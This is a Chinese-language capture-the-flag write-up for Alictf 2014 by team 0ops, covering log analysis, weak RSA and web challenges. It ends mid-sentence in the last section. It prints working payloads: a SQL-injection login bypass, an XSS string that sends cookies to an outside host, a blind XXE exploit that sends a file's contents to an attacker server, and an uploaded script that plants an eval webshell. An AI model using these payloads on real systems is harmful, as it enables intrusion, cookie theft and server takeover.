Alictf2014 Writeup

Team Name: 0ops

ctf所有文件打包下载:Alictf.zip

Part 1 BigData


100pt

因为是webshell,一般是post请求,但是经过检查所有post并无异常。这样,在get请求的情况下,可能会有关键字。 尝试eval,shell,hack,attack, evil,login,pass等关键字,发现可疑文件:

1
config1.php?act=attack

统计id可得答案。

200pt

连上服务器看到这是一个模拟两方通信的游戏,而玩家可以作为中间人篡改通信的消息。消息是由一串在Start与End之间由逗号分隔的数字组成的,根据数字的大小直接猜测其为十进制的ASCII码,解码后看到alice与bob互相交换了自己的RSA公钥,而后的通信就是用RSA算法“加密”过了。

这里与其说是“加密”还不如说是“编码”,因为之前交换的公钥的模数N实在太短,非常容易就可以分解,强度这么弱的RSA就跟编码差不太多了。然后解出之后的通信数据,[email protected],[email protected],而后alice与bob会再度交换公钥,重复上述过程。

这里我因为想偷懒没有用分解N而后求d的方法,而是直接把双方在消息里发送的公钥的指数e从65537换成1,这样双方发送的消息就是明文了,而作为中 间人只是需要把修改后的消息用另一方真正的公钥再加密一次再发送即可,重复这样的过程许多次之后服务器就会把flag发送出来。

Part 2 Web-A


100pt

根据提示是一个手工注入,常规的一些注入payload发觉都失效,所以一开始是感觉做了过滤。后来根据论文http://www.exploit-db.com/papers/18263/ 的提示(False Injection),尝试了

1
Username: '-0||' / Password: 1

发觉还是失败。于是猜测可能并不是做了过滤,而是做了硬编码,不能出现-,只能用|。 最终的payload为:

1
Username: '|0||' / Password: 1

即可拿到flag并提示web100b入口地址。

200pt

提交参数输出到onerror事件中,用js做了过滤,不能出现关键字,不能有“+”。 基础payload为

1
window['location']="http://xxx/"+document['cookie']

想到用字符拼接绕过关键字过滤,用

1
'coo'['CONCAT'.toLowerCase()]('kie')

这种方式绕过“+”,最终payload为

1
"><window['loca'['CONCAT'.toLowerCase()]('tion')]='http://xxx/'['CONCAT'.toLowerCase()](document['coo'['CONCAT'.toLowerCase()]('kie')]);>

url编码后提交得到flag。

300pt

根据题面猜测是XML实体注入。先找了一些中文网站的payload试了一下,发觉都不行,感觉主要原因是因为没有回显(结合题面的吐槽进一步确定 了)。于是开始Google。发现了这篇paper: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf

pdf里讲得很详细,有exploit可用。 网页上填写内容为: 

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ourserver_ip/xdb.xml">
    %remote;
    %param1;
]>
<root>&external;</root>

xdb.xml的内容为:

1
2
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=bb.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://ourserver_ip/log.php?msg=%payload;'>">

要注意的地方是,这里不能直接用file协议取bb.php的内容,因为绝对路径不确定感觉。所以采用php://filter以及base64-encode的trick。最后读到的msg 再base64_decode一下就出来flag了。

400pt

web400a就是抓包会看到一个文件上传的表单,上传文件后会给出上传后的路径和文件名,发现文件名与当前时间相关。 如/upload/upload/20140920170801.php。但是访问的时候会发现被删了。因此需要不断发生请求在被删之前访问到上传上去的脚本。脚本内容为在上一 级目录生成一句话。

1
<?php file_put_contents('../salt.php', '<?php eval($_POST["c"]); ?>'); ?>

然后在上级目录找到上传后的一句话,就可以菜刀连接了。 菜刀连上去之后发觉/home/wwwroot/default/upload目录下面有一个dfghjdjlkfghd.zip。但是有密码,所以一时之间束手无测。随后根据提示,要去 Github上进行查找。然后再根据之前curl连接的时候发觉返回结果有一个注释,大概是这个样子:

1
2
3
<!--
    @author: nidongde
-->

自然地,就去找nidongde的github主页,随后发现https://github.com/nidongde/test页面有解压缩密码: test_nidongde,解压之后得到一个php文件。提供了它的网址,以及一段内容,通过认证之后服务器会返回flag。条件:

1
if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){

由于对GET、GLOBAL等做了过滤,所以就用POST方式传数据。一开始卡住了,因为发现弄不出足够大的整数取反之后符合要求,但是再根据提示要用 x64的思维。x64下面自然int类型是很大的。最后的payload如下:

1
curl -d '_POST[alibaba][security]=2347230984234' -i 'http://web400b.alictf.com/alibaba_CTF_security/'

即可得到flag。

500pt

页面最顶端js解密后为

1
location.href.indexOf("helloalibaba")==-1&&(location.href="http://www.alictf.com/");

即需要在url里有”helloalibaba”,可以人为构造a= helloalibaba来绕过

经过测试,本题有两层过滤。

Php过滤单引号、双引号和“-”,防止逃逸出script标签。

Js主要过滤<,并把所有字母变大写。

因为参数直接输出在绕过。因为会把所有字母变大写,所以